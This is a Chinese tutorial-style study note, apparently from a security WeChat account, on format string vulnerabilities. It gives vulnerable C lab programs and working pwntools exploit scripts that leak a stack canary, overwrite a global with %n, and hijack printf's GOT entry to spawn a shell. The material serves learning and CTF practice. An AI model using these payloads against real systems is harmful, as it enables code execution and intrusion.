前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【读者投稿】格式化字符串漏洞读书笔记

【读者投稿】格式化字符串漏洞读书笔记

作者头像
信安之路
发布2018-08-08 11:27:32
3150
发布2018-08-08 11:27:32
举报
文章被收录于专栏:信安之路信安之路

新媒体管家

复现蒸米师傅Memory Leak & DynELF失败,所以留个坑(惨)


预备知识

关于printf()可以参考

https://www.cnblogs.com/phinecos/archive/2007/08/24/868524.html

里面讲了简单的printf()实现。这里讲的除了x86-64里的pwn之外的都是32位。

printf( arg0, arg1,... )函数的参数是从右往左入栈,这样就弹出来的第一个参数就是最左边的参数(arg0)。而且参数的个数是不定的。他的实现大概是这样的:

将第一个参数中的字符一个一个打印到屏幕上,如果碰到"%"这个字符,就根据计数器n去寻找参数n并且计数器加一,打印完参数n后继续打印第一参数接下来的字符。

使用printf"读"

当参数个数小于字符串中"%"的个数的时候(这里要排除掉%%),就会产生越界。我们现在可以读取栈上的内容了。这里有4个%号,但是参数却只有两个。%和参数不匹配,导致读取打印了栈上的内容。

代码语言:javascript
复制
#include <stdio.h>
int main(void)
{
    int a=1;
    char *str="test";
    printf("%s %d %x %x\n",str,a);
    return 0;
}

泄漏canary值

对于test.c,我们只要获取到canary的值ret到exploit()函数即可。

代码语言:javascript
复制
/* test.c */
#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

编译如下:

代码语言:javascript
复制
gcc -m32 -O0 test.c -o test -no-pie -fstack-protector-all 
代码语言:javascript
复制
gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

使用gdb跟踪调试,在输入处输入aaaa。随后可得知canary在栈上的位置。

我们再运行到printf处,计算出canary的值跟栈顶相差15个参数分(从零开始),我们只要构造%08x * 15。也有更简单的表达.

关于payload中的"$"符号的意思是选择第15个参数.可以参考

https://en.wikipedia.org/wiki/Printf_format_string

代码语言:javascript
复制
from pwn import *
elf = ELF("./test")
io = process("./test")
shell_addr = elf.symbols["exploit"]
payload = "%15$08x"
io.sendline(payload)
ret = io.recv()
canary = ret[:8]
log.success("canary => 0x{}".format(canary))
payload = "a" * 4 * 8
payload += (canary.decode("hex"))[::-1]
payload += "a" * 4 * 3
payload += p32(shell_addr)
io.send(payload)
io.interactive()

使用printf"写"

我们先了解一下%n的作用->把前面已经打印的长度写入某个内存地址。

代码语言:javascript
复制
/* Ex1 */
#include <stdio.h>
int main(void)
{
    int num=66666666;
    printf("Before: num = %d\n", num);
    printf("%d%n\n", num, &num);
    printf("After: num = %d\n", num);
    return 0;
}
代码语言:javascript
复制
/* Ex1 */
Before: num = 66666666
66666666
After: num = 8
代码语言:javascript
复制
/* Ex2 */
#include <stdio.h>
int main(void)
{
    int num=66666666;
    printf("Before: num = %d\n", num);
    printf("%.100d%n\n", num, &num);
    printf("After: num = %d\n", num);
    return 0;
}
代码语言:javascript
复制
/* Ex2 */
Before: num = 66666666
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 100

改变全局变量的值

已经知道了%n的作用,现在我们编译如下程序:

代码语言:javascript
复制
gcc -m32 -O0 b.c -o b -no-pie -fstack-protector-all 
代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int secret = 0;

void give_shell()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

int main(int argc, char **argv)
{
    char buf[128];
    memset(buf, 0, sizeof(buf));
    fgets(buf, 128, stdin);
    printf(buf);

    if (secret == 192)
    {
        give_shell();
    }
    else
    {
        printf("Sorry, secret = %d\n", secret);
    }
    return 0;
}

我们只需用printf函数把secret改成192即可。随便输入一些,在printf入口处下断点。观察栈的内容.

现在我们使用脚本可以读取到0xffffcbdc这个位置上,也就是第11个参数。而且这个是我们可控的。

代码语言:javascript
复制
from pwn import *
elf = ELF("./b")
io = process("./b")
payload = 'A' * 4
payload += '%p.' * 11
payload += '\n'
io.send(payload)
recved = io.recv()
print recved

此时我们再获得secert的地址。

代码如下,往第11个参数做指针的地方也就是secert写入192 + 4 。

代码语言:javascript
复制
from pwn import *
elf = ELF("./b")
io = process("./b")

secert = p32(0x804a038)
payload = secert
payload += '%192u%11$n' #%192u 写入的值,%11$n得到secert的地址
payload += '\n'

io.send(payload)
recved = io.recv()
recved2 = io.recv()
print recved
print recved2
io.interactive()

发发现多了4个字节,把192 改成 188 即可。运行如下:

x86-64

感谢7o8v提供的题目以及exp。pwn链接: https://pan.baidu.com/s/1kVl7cAr 密码: qfpr

不是作者就只能讲讲原理:

首先构造payload把puts函数的地址写入栈内,然后通过printf将这个地址打印出来,再通过偏移量计算出system地址。随后的payload将got表中的printf函数替换成system函数。下次调用printf就成了调用system函数,传入'/bin/sh\0'。注意64位和32位的传参是不同的,先用寄存器传参,寄存器不够用才会放到栈上。参数先在寄存器rdi rsi rdx rcx r8 r9放入,再放在栈上。漏洞在如图位置:

代码语言:javascript
复制
from pwn import *

io = process('./pwn_std')
context(log_level='debug')
elf = ELF('./pwn_std')
offset_put_pri = 0x7ffff7aa2f60 - 0x7ffff7a89160
offset_pri_sys = 0x7ffff7a89160 - 0x7ffff7a79450
got_printf = elf.got['printf']
got_puts = elf.got['puts']

def leak(addr):
    io.recvuntil('tang')
    io.sendline('5')
    io.recvuntil('go?')
    io.sendline('6602')
    io.recvuntil('to us')
    payload = '%9$s' +'\x00\x00\x00\x00'+p64(addr)
    io.sendline(payload)
    io.recvuntil('is:')
    dest = io.recvn(8)
    log.info('LeakedAddr:'+hex(u64(dest)))
    return dest

puts = leak(got_puts)
printf = u64(puts)-offset_put_pri
system = printf - offset_pri_sys
log.info('printf:'+hex(printf)+'   system:'+hex(system))

system_1 = system%(256*256)
system_2 = system%(256*256*256)/(256*256)
void = 0x10000-system_1

payload = '%'+str(system_1)+'c%12$hn'+'%'+str(void+system_2)+'c%13$hhn'
payload += '\x00\x00\x00\x00\x00'
payload += p64(got_printf)+p64(got_printf+2)
io.recvrepeat(1)
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
io.sendline(payload)
io.recvrepeat(1)
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
io.sendline('/bin/sh\0')
io.interactive()

总结

虽然现在格式化字符串已经销声匿迹了,但是还是有学习的必要的。实际使用情况中应注意将参数和%配对。这几年提出的保护大多是为了封杀栈溢出,但是这些年栈溢出攻击并没有销声匿迹,原因恐怕就是编程人员的不当操作,而且函数封装也加大了编程人员对函数的理解。--个人见解,欢迎纠正。

格式化字符串还有很多用法,这里只是介绍了比较简单的。可以进行下一步:格式化字符串漏洞利用小结(一)

http://bobao.360.cn/learning/detail/3654.html

抄袭资料 : )

跟我入坑PWN第二章

http://bobao.360.cn/learning/detail/3339.html

格式化字符串漏洞

http://yunnigu.dropsec.xyz/2016/10/10/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 预备知识
  • 使用printf"读"
    • 泄漏canary值
    • 使用printf"写"
      • 改变全局变量的值
      • x86-64
      • 总结
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档